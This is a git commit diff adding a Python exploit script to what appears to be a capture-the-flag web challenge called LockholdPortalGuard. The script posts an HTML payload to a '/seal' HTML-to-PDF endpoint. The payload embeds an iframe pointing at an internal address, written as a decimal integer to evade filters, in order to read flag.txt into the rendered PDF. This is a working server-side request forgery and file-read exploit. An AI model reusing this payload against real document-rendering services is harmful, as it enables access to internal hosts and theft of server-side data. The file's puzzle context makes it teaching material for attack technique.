Init. commit
This commit is contained in:
27
LockholdPortalGuard-Web/exploit.py
Normal file
27
LockholdPortalGuard-Web/exploit.py
Normal file
@@ -0,0 +1,27 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
|
||||
def main():
|
||||
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
|
||||
payload = """
|
||||
<h1>Королевский Указ</h1>
|
||||
<p>Приложение: донесение из Локхолда</p>
|
||||
<iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>
|
||||
""".strip()
|
||||
|
||||
resp = requests.post(
|
||||
f"{base}/seal",
|
||||
data={"content": payload, "format": "html"},
|
||||
timeout=10,
|
||||
)
|
||||
resp.raise_for_status()
|
||||
|
||||
with open("scroll.pdf", "wb") as f:
|
||||
f.write(resp.content)
|
||||
|
||||
print("saved scroll.pdf")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user